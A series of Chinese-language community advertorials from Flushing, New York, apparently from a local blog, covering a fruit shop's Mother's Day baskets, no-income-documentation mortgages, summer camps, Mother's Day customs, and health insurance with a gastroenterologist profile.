法拉盛金果园只卖精品水果

★水果也有品牌有品質

牛姐的水果攤位精品水果干果云集,夏天以水果為主,冬天以堅果為主。牛姐介紹,自己的攤位能夠在競爭激烈的法拉盛生存下來,靠的是品質,是顧客的口耳相傳。

佛羅里達的一個農場,種植黃皮和特殊的黑龍眼,這兩種特殊的水果產量都很少,價格也很貴,老闆只把這兩種高檔水果送到這裡,牛姐說,他們知道我們可以賣得出去。

牛姐說,「其實水果就跟服飾、鞋帽一樣,也有品牌。我們選貨就選最好的,我們跟大的農場和大的批發商說,我們一定要進好貨,差貨不要送過來,他們都知道我們的店都是要最好的貨。很多顧客對我們的評價就是:想吃到最好的結果,就是來我們店裡來買,肯定買的到。」

法拉盛金果园:水果花篮可根据客户要求配置

★時令水果美味又養生

水果的季節性很強,牛姐建議大家選時令的新鮮水果。她介紹,豐富的水果市場不同的季節有不同的主角。4月份,以色列橘子和大青提就是主角。到6∼8月份,櫻桃、龍眼和荔枝是主角。到9月份接近水果季的尾聲,慢慢的堅果就上來了,包括巴西松子、夏威夷果、東北松子、美國的大杏仁、開心果、葡萄乾等。糖炒板栗是這個小果攤秋冬季節的主角。

為保證水果和堅果的新鮮度,牛姐特別租了兩個大的庫房來儲存。牛姐說,「水果和堅果的儲存也是有學問的,我們庫房的面積是店面的5倍大,我們有專業的冷櫃來儲存不同種類的水果和堅果。比如,板栗要有自己的冷櫃,不能和水果放一起。芒果不能直接放冰櫃,要等到熟一些的時候再放,不然芒果心就是黑的。」

法拉盛金果园老板牛菊英女士和她先生

★精美水果籃獻給母親

經營水果店不僅是牛姐的生意,也是她的人生享受,她說,「來美國後我一直有個夢想,將來開一個水果、堅果精品店,裡面擺三臺機器:榨汁機、剝殼機和豆漿機。來這裡的客人不僅能吃到新鮮的水果和堅果,還能喝到新鮮的果汁和配有堅果的豆漿。」

母親節來臨,牛姐精心準備了果籃,有5種類型,價格在$38-108之間,可以自己選擇水果,也可以買現成的。果籃裡還配有鮮花,絢麗的色彩,撲鼻的香氣,最好的味道,最誠的心意,讓我們一併送給最偉大的母親。

最好的水果献给母亲

法拉盛金果園

地址:40-10#L1 Main street,Flushing,NY 11354

(纽约法拉盛新世界对面 )

牛姐热线:917-365-6016  牛菊英

服务客户:品质一流!服务一流!诚信一流!

法拉盛金果园老板:牛菊英女士

纽约鑫创建筑装修公司老板:裴先生

把最好的水果带给每位顾客朋友

金果园只卖精品水果

母亲节特别礼品奉献

法拉盛金果园老板成功之路

 

爱心来自真诚

金果园:献给伟大的母亲!

2021-05-08 / by / in , , ,
不查收入贷款|美国买房贷款 不查收入贷款 适合谁?怎样拿到低利率贷款?房屋贷款服务指南推荐!

新美贷款 (不查收入贷款)

  • 纽约(法拉盛):136-20 38th Ave, Suite 11i, Flushing, NY 11354
    电话:(718) 888-0358
  • 新泽西(Edison):1876 NJ-27 #206, Edison, NJ 08817
    电话:(732) 650-1837
  • 加州(Alhambra):388 E Valley Blvd UNIT 121, Alhambra, CA 91801
    电话:(626) 458-6878

网站:https://xinmeihomeloan.com/

文|地产小尖兵

今天来谈谈「不查收入贷款」(No Documentation Loan),它适合什么样的人群、必须要什么符合条件、流程和注意事项。美国买房通常就是做贷款,先放入10%或更低的首付款,其余每月还款,但这要有固定工资、税表、存款等收入文件的审批。对于某些人士来说,在美国可能没有固定工资、报税不高、刚找到工作等等情况,就无法申请这种一般类型的房贷,这时就可考虑不查收入贷款的选项了!

 

不查收入贷款基本概念

随着房市热浪,在纽约买房、美国买房更加竞争,现在不查收入贷款又兴盛起来。对于有正常薪资单、报税的人来说,一般贷款是最适合的。

收入不固定,纽约买房可用不查收入贷款。

相反,对于某些人在收入上常只拿现金或报税低,就难以申请一般贷款,这时候就可以用「不查收入贷款」来买房。不查收入贷款,就是贷方不会看你的收入相关的证明文件,比如薪资单、报税纪录。这样就方便于有这种需求的人士,也能贷款买房或融资运用。

不查收入贷款买自住房,还可以用来购买投资房,或是房屋净值贷款(Home Equity Line of Credit)、再融资等项目,不过能贷哪几种,要看贷款人的情况而定。

以不查收入贷款买房,能贷到多少比例的额度?这要看个人条件的评估,但基本上可以贷到70%~80%,如信用分数好,贷款比例就会更大。

特别留意,不查收入贷款的贷款时间会比一般贷款更长,可能会有40~50天的时间,所以买房的人一定要留意,并告诉卖家需要给更长的时间来等待。

不查收入贷款可用于的项目

-购买自住房
-购买投资房
-房屋净值贷款(Home Equity Line of Credit)
-再融资

办理不查收入贷款的条件

首付款越高,条件要求越低

办理不查收入贷款要有哪些条件呢?请见以下条件:
「首付款」:买房时要首付20%~40%的购房金额,比例要看贷款人的条件来判断,条件越好首付款越能降低比例,如果条件差(无身份、无信用分数),就必须提高比例,可以到40%,以降低贷方的风险。
「合法身份」:有美国公民、绿卡是最洽当的。有些外国人也能凭签证、护照申请,一般是也是需要提高首付款来完成。
「合法工作」:有雇主提供的信息,贷方会验证文件,用以证明贷款人有还款能力。
「信用分数」:信用分越高越好,至少600分,最好有680以上,除非这位贷款人完全没有信用分数,可能是刚到美国的人。
「特殊情况」:如果无法满足上面某些条件,例如没有工作证明,买房时就要提高首付款到比例,可能到提高到30%,但这种情况对信用分数也会有更高的要求。

不查收入贷款,信用分数越高越好。

简单说,条件越好,贷方风险低,那不查收入贷款的利率就越好。如果某些条件不好,或无法提供证明,就要提高其它的条件要求,无非就是提高信用分数、提高首付款等方式。

适合人群

哪些人适合申请不查收入贷款?基本上「在美国有合法工作」的任何人都可以申请,适用任何签证、身份的人,甚至外国人只要凭签证或护照就可办理,但买房时就要提高首付款来补足缺陷。不过一般,还是有合法美国身份与合法工作是最好的。

也就是一般工薪阶层,典型中产、高阶主管都只是用一般贷款买房。但对于不是固定收入的人,例如具有特殊情况的高净值人士,例如经营成功的初创企业,并在公司中拥有大量股权的企业家可以适用不查收入贷款。

不查收入贷款,可以不看收入证明文件。

为何要看是否有合法工作呢?因为,即便贷方不看工资单、税表,贷方还是要确认贷款人的还款能力,所以是否有工作是的重要的。相反的,如果没有合法工作证明,也是要提高首付款来帮助申请。

以下几类人适合不查收入贷款——
-报税低的人:例如开个人公司的老板,可能有各种节税措施,造成报税低。
-薪资收现金的人:例如餐馆员工、建筑工。
-刚到美国的人:可能收入较低,申请不到一般的查收入贷款。
-高净值人士:不是拿固定薪资的人,却有高收入来源,或高价值股票。 (通常这类人也能透过税表完成一般贷款)
-自雇人士:同样没有固定薪资的人,例如一名YouTuber、个人工作室的创作者。

总的来说,对于无法提供一般每月工资单的人,或有些人现金收入好,但税表显示收入不好,或是刚到美国的人,缺乏信用分、无固定工作的人,都可以申请不查收入贷款。

状况一、新移民、工作不久
大卫是一位刚到纽约的新移民,他有30万美元存款,工作不久,信用分数不高,但想在纽约买一栋两房的康斗(Condo),而且通常他的收入是现金,所以申请一般贷款有困难,这时不查收入贷款是他买房的另一个选项。

状况二、留学生没有收入、没有信用分数
麦克尔是一位留学生,没有收入、没有信用分数,但父母希望他买一栋小房子自住,部分房间也可出租。如果想贷款买房,他也可以用不查收入贷款来完成购房。但这时首付款就要提高比例了。

状况三、没有固定薪资的YouTuber
雪莉是一位YouTuber,每月靠点击量来收取资金,或是有广告商合作业务,因此每月收入不固定,她也可以使用不查收入贷款来买房。

能拿到的利率

影响利率的关键:
「信用分数」:每个人能拿到的利率都不太一样。要利率好,就要信用分数高,600分是最低要求,有些贷方可能会要求660、680分。

「首付款」:另一个影响利率的是首付多少,20%、25%、30%、40%,都可得到不一样的利率,自然首付款越高,利率也越高。以目前来说,不查收入贷款的利率一般落在 3.875~4.75%之间。

信用分数好,贷款容易通过。

同样,贷款人可以选择3年、5年、15年、30年等不同期长的贷款。

疫情期間的申請

特別要注意,去年疫情期間不查收入貸款,一度有許多貸方關閉申請,但現在又已經恢復開放,所以要申請的人可以趕緊申請,以免在疫情的起起伏伏中又出現什麼新規定,而被限制買房或融資的腳步。

不適合辦理的人

固定收入的高中產階級人士就不適合不查收入貸款。他們用一般貸款就能拿到很好的利率。

大致流程

貸款經紀需要了解貸款人各方面的情況,例如:身份、工作性質、資產、雇主信息、信用分數、存款、買房的金額等等方面,準備好這些文件,就可以開始辦理了。

不查收入貸款與一般貸款的比較

常規貸款 FHA聯邦房屋貸款 不查收入貸款
3%以上的首付款 3.5%的首付款 20%以上的首付款
至少信用分數620 至少信用分數580 至少信用分數600或660以上
利率約3.1% 利率約2.87% 不同條件有不同利率,約在3.875~4.75%之間
*以上更新日期7/5/2021

表:三種貸款的比較。(金牌網製作)

最後提醒

最提醒貸款買房的人,首付款的資金要提早準備到位,最好在存貸款人的銀行帳號裡兩個月,才不易衍生麻煩,尤其資金來源是來自父母、家人,就要證明是贈與(Gift)的資金。
這裡還是提醒「信用分數」高低,對不查收入貸款的申請很關鍵,分數越高越能通過申請、拿到好的利率,最基本要有600分,很多貸方要求會更高分數。除非剛剛來美國的人,沒有信用分數。否則就要提高首付款來獲得申請。

聲明:以上僅作為介紹「不查收入貸款」的知識性文章,不能做為您獲得貸款的任何依據、憑證。有相關需求請諮詢專業貸款經紀,協助您完成貸款申請。

 

新美贷款 (不查收入贷款)

  • 纽约(法拉盛):136-20 38th Ave, Suite 11i, Flushing, NY 11354
    电话:(718) 888-0358
  • 新泽西(Edison):1876 NJ-27 #206, Edison, NJ 08817
    电话:(732) 650-1837
  • 加州(Alhambra):388 E Valley Blvd UNIT 121, Alhambra, CA 91801
    电话:(626) 458-6878

网站:https://xinmeihomeloan.com/

 

Eazzy Consulting LLC 毅志集团718-565-1234纽约不查收入贷款/法拉盛贷款银行

纽约商业贷款/房屋贷款 929-510-9237 纽约不查收入贷款/抵押贷款

 

纽约贷款公司/不查收入贷款 718-514-6008 商业贷款/房屋贷款/低利率贷款

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2021-05-08 / by / in , , ,
2022美国夏令营全攻略 Summer Camp指南 纽约夏令营种类 ACA美国露营协会建议

文|雨荷

对于儿童和青少年来说,Summer Camp夏令营已成为美国人生活中不可缺少的一部分。在夏季,父母经常将他们的孩子放在夏令营中,以缓解学习压力,让孩子在精彩的游戏活动里成长,同时学习一些有价值的东西,免得孩子们整天经常看电视或玩电子游戏而忘却了他们在户外所能获得的所有乐趣。夏令营既有教育意义,也给家长提供一种育儿形式。

幸福学校  

电话:718-888-9968   718-886-6363

地址:141-05 Cherry Ave, Flushing, NY 11354

网站:https://happyschoolny.com/

Email: thehappyschool@yahoo.com

Summer Camp夏令营起源于在美国,已经有一百多年的历史了。如今,Summer Camp夏令营提供的活动种类繁多,营地也多种多样,其中一些营地的活动非常专业,一些营地则试图融合来自不同社会经济背景的不同儿童。

纽约为儿童提供了一些很棒的夏令营。无论您是在哪儿度假,夏令营都为您的孩子在夏季提供了户外活动和学习的机会,纽约的夏令营提供了丰富多彩的活动。

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Summer Camp 纽约夏令营 示意图。

纽约夏令营的类型

Sport Camps 运动营

运动营最流行的儿童夏令营类型之一,就是以运动为中心的类型。无论孩子喜欢什么运动,夏令营都可以帮助他或她的磨练技巧。运动营一般除了篮球、足球、棒球、橄榄球、啦啦队等等运动项目,还有冲浪、滑雪、越野、击剑、摔跤等。很多运动夏令营有专业的运动员或教练来指导。

Gender Specific Camps性别专用营

有些父母根本不愿意把他们的孩子送到男女同校的营地。因此,有许多专门针对男孩或女孩的营地。在某些情况下,仅男孩营地将与仅女孩营地相关联,并且两个营地将一起进行一些活动。在针对特定性别的营地工作可能会很棒,尤其是在与年长的露营者一起时,露营者会感到更多乐趣。

Scouting Camps侦察营

童子军和女童军营是最受欢迎的儿童营地之一。童军训练营的顾问和行政人员通常还是童子军,围绕自力更生,户外技能和荣誉开展的活动特别是童军训练营的一部分。在大多数侦察夏令营中,露营者都努力获得徽章,因此这些营地的员工将帮助确保满足特定要求。诸如国旗仪式之类的特殊事件也可能是侦察营的组成部分。

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Scouting Camps侦察营 示意图。

Arts Camps 艺术营

艺术营包含了各种注意力。从绘画到创意艺术,再到音乐制作营地,再到舞蹈,艺术是一种自我表达的形式,通过它学生可以找到自己的风格和声音。

艺术不仅可以让学生有机会表达数学和科学可能无法发挥的创造力,而且艺术还可以提高识字能力。2011年的一项研究《对艺术教育进行再投资》发现,艺术教育可以使大脑重新思考,使其更具批判性思维,并将通过艺术和音乐学到的运动技能应用于阅读和数学。

北方学院是一所 6 至 12 年级的初中和高中致力于追求卓越的学术和艺术。是充满爱心的社区——建立在诚信、同情心和韧性的价值观之上——使学生能够发挥他们最大的智力、艺术、道德和身体潜力。

北方學校夏令營6月28日-8月7日從7歲起

今年夏天加入紐約中城的北方夏令營!來紐約的國內和國際旅客已經不需要隔離。

我們今年為七歲以上兒童增加了戶外探險營不需要戴口罩!看這裡-我們經驗豐富的指導奧爾先生在此視頻中解釋射箭、生火和烹飪、傳統戶外遊戲。

我們的其它課程包括:中國古典舞、音樂、繪畫、美術手工、計算機編程、設計、機器人技術和3-D建模 、國際數學奧林匹克、中文和傳統文化、SAT備考等,傳統價值和品德教育更會貫穿其中。

您可以選擇專注於以上課程之一或嘗試混合搭配。這些豐富課程和活動可以幫助孩子們度過一個愉快而有意義的夏天。

夏令營分兩期,一期三週,有日營、下午營、寄宿營和網絡營多種選擇。

馬上點擊這裡註冊!也請將這個好消息與親朋好友分享。

如果希望了解更多信息,請點擊這裡報名參加我們的網絡說明會,週六6月19日紐約時間下午1點。
Northern Academy of the Arts
1 Ashley Ave.
Middletown, NY 10940
Email: tzhu@northernacademy.org
Tel +1 (845) 232-1760
Visit: www.northernacademy.org

Academic Camps 学术营

学术夏令营增强孩子对学习的热爱,提高他们的求知欲,增强自信心。同时专注于特定的学术课程,学术营地提供了一个夏季补习班。

他们以小班授课的形式为学生提供了一个额外的推动力,使他们发挥出全部潜能,以一对一的注意力和额外的有趣的营地方式来吸引他们。

假日, 幼儿园, 花园, 孩子们, 孩子们的节日, 珠, 飞球, 彩球, 小丑, 动画制作者

Academic Camps 学术营 示意图。

Special Needs Camps 特殊需要夏令营

如果孩子有精神或身体上的残疾,则不能选择定期参加普通夏令营。但是,可以参加为这些儿童开设的特殊需要夏令营,为他们提供宝贵的营地经验。这些类型的夏令营通常会持续整个夏季 。

参加夏令营的好处

没有比在夏令营更好的方式让孩子度过愉快的几个月了。作为父母,您可以期望您的孩子磨练许多技能,并从参加夏令营中受益匪浅。

夏令营为您的孩子带来的6大好处

1.团队合作

许多针对儿童的夏令营活动都是围绕社交互动进行的,这些团队活动将在每个营地成员中建立协作心态。为了培养良好的团队合作精神,孩子们需要发展强大的沟通能力,解决问题的能力并做出艰难的决定。这些都是以后生活中必不可少的重要特征,夏令营可能是发展它们的最佳方法之一。

教练带孩子们活动 示意图。

夏令营设置对于测试团队合作技能特别有效。营员通常处于学习彼此独特的性格特征,技能和优势的早期阶段。无论是在运动场上还是在机器人实验室中,营员都必须了解队友,进行交流并互相鼓励,以实现共同的目标。

2.变得更加独立

在夏令营中,这个独立的时间对于帮助儿童发展一种认同感非常重要。孩子们在探索兴趣并发现自己的优点和缺点时,会学会变得更加自力更生。他们学会相信自己内心的声音,而不是依靠父母或老师告诉他们该怎么做。独立对于成为一个自给自足的成年人至关重要。

也许您的孩子害怕在没有妈妈或爸爸陪伴的情况下入睡,或者他们太害羞而无法独自出去。营地将以崭新而激动人心的方式帮助他们过渡到独立。独立还有助于提高孩子的自尊心。

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害羞的女孩 示意图。

3.结交新朋友

在夏令营中,他们还将学习接受不同背景的人。夏令营的孩子们聚在一起实现共同的目标,共同解决问题并取得成就,当他们意识到自己有多少共同点时,就会建立持久的友谊,分享有益经历,从那里结交小伙伴。

4.拥抱户外

孩子的身体健康至关重要。夏令营可以激发孩子对户外运动的热爱。当孩子在户外时,他们会看到,触摸,听到,闻到甚至有时品尝大自然。感官的发展使生活更加丰富,充实和全面。相反,在室内过多的时间会使感觉变钝,并剥夺儿童简单的生活乐趣。

拥抱户外 示意图

最重要的是,户外活动会鼓励运动,这对身体,心理和情感健康至关重要。在外面,孩子们可以自由奔跑,跳跃,爬升,笑和呼吸新鲜空气。

5.建立自尊心

在夏令营中,孩子们有机会取得成就,无论是捉鱼还是在比学校少的竞争环境下绘画第一幅画。成就是自尊的主要要素

自尊对儿童和成年人很重要,将来会根据自己的看法来决定生活。选择自己的职业,人际关系,并做出其他重要决定,这些决定受自尊心影响很大。儿童通过采取行动和获得成果以及为社区做出贡献来学习自尊。通过努力工作和成就而学会珍惜自己。

生活, 美, 现场, 实现, 完成, 赢, 胜利, 成功, 孩子, 儿童, 男孩, 天空, 爬上, 比赛

建立自尊心 示意图

6.发掘新爱好

作为父母,您可能花费了无数小时来鼓励孩子参加各种体育,创意或艺术活动。夏令营可以提供帮助的地方是真正发掘孩子擅长的全新领域。

在夏令营中,孩子将可以尝试各种活动。一个有趣的环境,任何水平的孩子都可以学习;孩子们可以在夏令营找到自己的理想环境。

游戏, 儿童, 胜利, 乐趣, 孩子们的游戏, 团队, 大喜

发掘新爱好 示意图。

ACA美国露营协会关于如何为您的孩子选择合适的夏令营的建议。

在选择营地过程时,请考虑您孩子的兴趣。重要的是要了解孩子的性格,并确定哪些营地计划对孩子好处多。夏令营通过各种计划和活动,提供有趣而有意义的冒险活动,以符合孩子的兴趣。

与您的孩子一起探索营地,并检查营地提供的材料。此外,许多营地都有网站,其中包括营地设施的照片,地图或虚拟游览,每日时间表和菜单样本以及有关董事和主要员工的信息。随着孩子们更加熟悉营地,他们对营地的忧虑将减少。

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您的孩子一起探索营地的选择 示意图。

在报名孩子之前,请考虑一下您想要在营地里做什么:

参加夏令营的应考虑的问题

1.我要考虑什么语言环境?(考虑山脉,海滨,离家的距离)

2.我是否想要传统的营地给我的孩子提供各种各样的体验,还是我想要选择一个专注于特定活动或技能集的专业营地?

3.多大规模的营地,人数多少会让孩子感到舒适?
我希望该营地有多原始?

4.我希望程序的结构如何?我的孩子喜欢在活动时间表中有很多选择吗?

5.我的孩子是否准备好离开家,在外面居住?这将帮助您选择居民营地或日间露营地。

6.我的孩子和我们夏天的家庭计划会花多长时间?(一个星期?八个星期?)

7.营地期间我如何与孩子保持联系?

8.营地允许邮件,电话或电子邮件吗?营地有家长探望日吗?

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孩子和家长保持联系 示意图。

9.营地将如何满足我孩子的特殊饮食或身体需求?

10.营地费用预算是多少?请记住,许多营地都提供经济援助。

选择日间营时要考虑的问题

在选择日间营时需要考虑一些特定的要点。

1.工作人员接受了哪些与幼儿工作有关的安全,监督,咨询,解决问题和其他问
题方面的培训?

2.价格是全包的吗?还是要收取以下额外费用?

3.如果提供运输,最近的接载地点在哪里?

4.营地是否设有可快速运送儿童的“快速巴士”?

5.如果提供夏令营前后的长期照护,谁与孩子们在一起并且开展哪些活动?

6.是否提供午餐或露营者自带便当?是否提供小吃和饮料?

7.如果营地提供游泳课程,是否有游泳课程或仅仅是休闲游泳课程?

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孩子们游泳示意图。

8.露营者整日与辅导员在一起吗?或者,露营者是否可以在适当的监督下自由地从一项活动转到另一项活动?在这种情况下,如果您对孩子有疑问或疑虑,该与谁交谈?

9.营地开始之前是否提供开放式住宿,您可以在这里与孩子的辅导员和面包车/公共汽车司机见面?

10.是否可以让父母前来探望,或者有特殊的家长探望日吗?

需要带什么去夏令营

以下是开始您的孩子的装箱单的几件事:

1.衣服

看起来似乎很明显,但是如果没有预先准备好的清单,您肯定会忘记打包某些种类的衣服。值得考虑的是,您的孩子在夏令营收拾衣物时可能遇到的不同环境。进行多少体力活动,强度如何?是否需要教练或需要远足靴?除了阳光,您是否期望什么?或者在某些潮湿多风的日子需要外套吗?

如果不确定,请在收拾行李之前与营地联系,他们会告诉需要什么。

旅行, 旅行者, 包, 开放, 书, 对象, 复古, 度假, 孤立, 目的地, 休闲, 白, 衣服, 业务

行李 示意图。

2.洗漱用品

拿起您自己的孩子的洗漱用品袋,并在其中装满他们需要自己洗漱并每天保持清洁的所有物品。列出他们一天中使用的所有物品;洗发水,牙刷,牙膏,肥皂。
3.背包

大多数夏令营到处都是探险队。在这些日常冒险中,他们将需要一个地方来存放笔,记事本,耳机和防晒霜。为此,他们需要一个坚固,结实,容量大的背包。
这也为他们提供了获得独立的另一种方式。叫孩子自己所需的一切并照顾好自己的物品。

4.床上用品

另一个要检查夏令营的人。通常,您可能需要床上用品,例如额外的床单,甚至是睡袋。通常会提供枕头和羽绒被等基本用品,但是如果需要其他任何东西,则值得提前检查。

5.闹钟

在夏令营期间,父母不在身边帮助孩子按时醒来,因此,最好是带一个的闹钟。请在他们前往夏令营之前的几天练习使用它。

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闹钟 示意图 。

6.零用钱

请给孩子准备充足的零钱,放在身上再将孩子送去夏令营。不需要很多,但足以从自动售货机购买任何点心或购买一些东西。

最后的话!

夏令营活动中强调的价值观包括对学习的热爱,坚韧不拔的精神,与自然的联系以及学习社交技能的能力。夏令营的好处是无穷的,可以持续一生。您的孩子不仅将以更大的独立性和更强的认同感从营地中返回,而且他们还将开发新的技能,结交新朋友,将成为永远珍惜的回忆。

成年后,许多人回忆着夏令营的日子,他们记得第一次和朋友一起生火的快感,营地不仅成为度过暑假的方式,而且成为他们的重要组成部分。在营地中,孩子们成长,探索和了解自己以及周围的人和世界,他们在整个过程中都充满乐趣。

Northern Academy of the Arts

纽约中城北方网络与实地夏令营

电话:845-232-1760

地址:1 Ashley Ave., Middletown, New York 10940

网站:https://www.northernacademy.org/chinese

 

 

 

2021-05-07 / by / in , , , , , ,
美国纽约家庭是怎样庆祝母亲节的?庆祝母亲节网上订购水果鲜花篮成为时尚

/弗光照

在美国,母亲节是每年5月的第二个星期天。母亲节这一天,在美国纽约普通的家庭,通常一家人在一起聚餐,给母亲送鲜花、水果鲜花篮、卡片、糖果、礼物等,是家人和子女辈们最普遍庆祝形式。大约母亲节前1—2周,纽约商家便陆陆续续开始渲染母亲节的节日氛围, “母亲节快乐!”的标语、花束、水果鲜花篮、礼物随处可见,提醒您千万不要忘记这个重要节日哦!

今年的母亲节您要怎么过呢?下面我们一起看看流程,check一下您有没有什么忘记啦?

.母亲节用餐:

与家人一起用餐是美国妈妈们的首选,也是庆祝的最主要环节。您可以选择:在餐厅聚餐、在家烹饪、打包外卖等等。据说,餐厅在母亲节里是最忙的一天,那您可要提前预定哦!

.母亲节送花束、水果鲜花篮:

您可以亲自到花店挑选中意的花束;您也可以动动手指,网上订购温馨优雅的花束和时下正盛的水果鲜花篮,例如:网上花店“意境名家”http://flower365day . com /点开纽约下单订购,各种精美包装的花束、鲜花水果蓝图片,任您选择,方便快捷。什么,您还没想到水果鲜花篮?唉,你out了啦!鲜花水果篮,鲜花与水果搭配,盛着优雅和实惠,颗颗水果颗粒饱满、娇艳欲滴、让人垂涎三尺、食指大动有没有啊!鲜花谢啦就扔了,鲜花水果篮里的水果趁着新鲜和家人一起品尝分享,健康、营养又经济!

三.母亲节卡片:

每年在母亲节之前的几天和一周里,美国的许多学校、幼儿园都会组织学生、小朋友们准备一张亲手绘制或DIY制作母亲节卡片,或送给母亲的小礼物,感恩母亲。各式各样、各具创意、感恩尽在不言中。

如果您想亲手制作DIY母亲节卡片给家庭中的女主人一个惊喜,也的确是个不错的主意!网上范例应有尽有。

*温馨提示:制作过程顺便录个像!因为礼物会破旧,时间会飞逝,钻石恒久远,视频永流传哦!

四.母亲节礼物方面:

那就因人而异了。根据母亲的喜好、家庭成员的财力,表达心意就好。“千里送鹅毛,礼轻情意重嘛”!可以是珠宝、服饰、家居装饰品、保险、美容护理、旅游等等。

五.母亲节的电话:

据说,节日这天的通话、信息次数也是一年中最多的,问候自是必不可少啰!

母亲节是庆祝母亲、感恩母亲的节日。包括祖母、曾祖母、继母、养母。最后,我们献上一首古诗《游子吟》,一支母爱的颂歌,千古流传。祝愿世上一切母亲健康安好!

遊子吟

唐·孟郊

慈母手中線,遊子身上衣。

臨行密密縫,意恐遲遲歸。

誰言寸草心,報得三春暉。

2021-05-07 / by / in
在美国纽约怎么选肠胃科医生和医疗保险

据统计,在美国大约有9千5百万人患有某些类型的消化系统疾病。对于移民纽约的华人来讲,要适应在西方社会完全不同的环境,精神压力大,而为应付繁忙的工作往往饮食不均衡,一不注意就会有肠胃不适的问题。在纽约怎么看肠胃病,怎么选择肠胃科医生,怎样看急诊?

说到在美国看病,就不得不先说一下美国的医疗保险。如果没有医疗保险,美国看病非常贵。美国的医疗保险种类很多。

美国的各类医疗保险计划

在美国,除了65岁以上符合要求的老人,或者孕妇、儿童及低收入家庭可以享受到比较便宜的医疗福利,一般人都购买商业保险。以下给大家介绍一下常见的商业保险:

健康维护组织HMO(Health Maintenance Organization)是最便宜的健康保险之一。要支付的保险费,自付额(Deductible)和共保额(Co-insurance)都比较低。如果选择HMO健康保险,要看医生的时候,只能选择规定的网内医生,看病先要预约家庭医生PCP(Primary Care Physician),家庭医生会做出评估是否需要转诊专科医师,比如肠胃科医生。

定点服务组织POS (Point of Service)与HMO一样,在看专科医生前需要家庭医生开出转诊单。POS的保险费用略高于HMO,好处是可选网络外医生,不过费用会高于网络内医生。

优选医疗组织保险计划PPO (Preferred Provider Organization), 保险费用要高于HMO,但可选的医院和医生范围更广,个人最高应付额(Out-of-pocket limit)较低。假如选择的PPO自付额(Deductible)和共保额(Co-insurance)都比较低,保险额就较高。如果你购买的是PPO,一般就可以自己选择肠胃科医生,而不需要通过家庭医生转诊。

指定医疗服务EPO( Exclusive Provider Organization)只能选择网络内医生,但网络覆盖面比HMO大,如果需要看肠胃科医生,有的EPO需要家庭医生转诊,也有不需要的。EPO的保险费用高于HMO,但低于PPO。

按服务收费FFS (Fee For Service),是所有医疗保险中保费最昂贵,个人最高应付额最高的。好处是可以自由选择任何医院和医生,无需家庭医生转诊。

( 各类医疗保险计划比较)

美国医疗保险基本概念

以下是美国医疗保险的一些基本概念,选择医疗保险时可作为参考。

保险费Premium: 定期向保险公司支付的费用。

自付额Deductible: 保险公司为你支付费用之前,每次看病自己先要花销的金额范围。(deductible金额越低,保险费越贵)。

共同保险Co-insurance:在自付额满了之后,每次看病需要支付的医疗费用比例。(比如20%)

个人最高应付额Out-of-pocket limit: 自己支付的医疗费用超过这个额度后就由保险公司支付。

网络内和非网络内的医疗保健单位 In-network & out-of-network:有些医疗保险限制只能选择网络内的医疗保健单位。选择网络外的医疗保险费用就很贵了,自费比例也会高。

肠胃科医生预约流程

买了普通的医疗保险,比如HMO,看病要先预约选定的家庭医生(全科医生),如果全科医生看不好,再由全科医生介绍给肠胃科医生,一般好的专科医生也需要预约排队。

如果购买的医疗保险可以自由选择专科医生,比如PPO,那么就可以直接预约肠胃科医生。

到了预约的日期,提前一点时间到诊所,填写一下保险信息表格和身体状况描述表格。并且请记得带好自己的保险卡和身份证。

总结:看肠胃科医生前,请核对您选择的医疗保险计划,有的需要家庭医生转诊。如果在选择医生医院方面想要自由度高一些,可以挑选可自由选择专科医生的保险计划,保险费会高一些。另外,需要提醒的是,请核对清楚所选的肠胃科医生是否在保险计划覆盖面之内。

需要看急诊怎么办

如果肠胃方面有突发情况,普通诊所都已经下班,需要看急诊怎么办呢?

去急诊室之前可以提前咨询家庭医生,向医生说一下症状,听一下医生建议要不要去急诊室。

有两种类别的急诊可以选择,Emergency Room 和 Urgent Care

  1. 急诊室 Emergency Room(ER):如果身体有紧急情况,大医院都有急诊室,24小时提供服务,而且医疗设备齐全,并且不需要预约。但一般需要排队等待,具体情况要根据医院急诊室的忙碌程度以及护士对你病情严重度的预估。
  2. 紧急护理中心 Urgent Care (UC):一般都是私人诊所,也不需要预约。但每间 UC诊所都有营业时间,并非24小时工作。虽然医疗设备和人手不如大医院的急诊室多,但等待医生的时间反而比较短,一般情况一小时之内可以看到医生。费用也会比ER急诊室便宜很多,平均来讲,大概只有ER的四分之一到五分之一。

在纽约这样的大城市,看急诊是非常方便,平时关注一下住家附近有哪些急诊诊所,紧急情况下就不会手忙脚乱了。

看急诊要准备什么?

保险卡和身份证件。

紧急联系人:最好有人陪护。如果没有的话,可能需要填写紧急联系人的信息。

正在使用的药物清单与过敏药物:可以帮助医生了解你的身体状况,做出更好的诊断。

急诊费用

急诊费用不需要在医院当场支付。一般在一个月内会收到账单,上面会列出急诊总的费用。不过,收到账单时不用太过紧张,个人只需要支付一部分,其它的部分保险公司会支付。

所以,买医疗保险的时候,就要搞清楚这个保险支付急诊的比例。总之,相比家庭医生和紧急护理中心Urgent Care,急诊室ER费用会高出很多。

无论怎样,希望大家平安健康,如果可以的话,最好永远不用去到这些地方。

纽约肠胃科医生

肠胃道属于人体的消化系统,消化就是身体把食物分解为可以吸收的物质的过程。消化系统的健康问题影响人体的胃肠器官,包括胃、小肠和大肠。消化系统疾病,常见的有胃灼热、胃溃疡和结肠疾病。

在纽约法拉盛,有一位世界顶级的肠胃科医生– 荆彤博士。荆彤医生医生毕业于世界著名的约翰霍普金斯医学院肠胃科,是约翰霍普金斯大学的医学院博士。约翰霍普金斯医学院在美国医学院中是排名数一数二的。在这个学院毕业的华人医生可谓聊聊无几。荆彤医生还获取了德州大学安德森癌症中心博士学位。安德森癌症治疗中心,被公认为全球最好的肿瘤医院,曾连续多年在癌症治疗和科研领域中排名全美第一。荆彤医生曾任纽约大学医学院胃镜室主任和纽约大学医学院肠胃科副教授。

荆医生对肠胃道疾病有自己独特的见道。荆医生说,清淡饮食,调节情志,可避免病从口入、病从心生。

荆医生发现,节假日后肠胃道病人会猛增。荆医生说饮食会是导致疾病的一大因素,饮食方面要避免过于辛辣刺激,不要吃太多大鱼大肉。

还有患者因新冠疫情长期宅于家中,饮食无趣,闷在家思虑过多,导致肠胃疾病或加重。

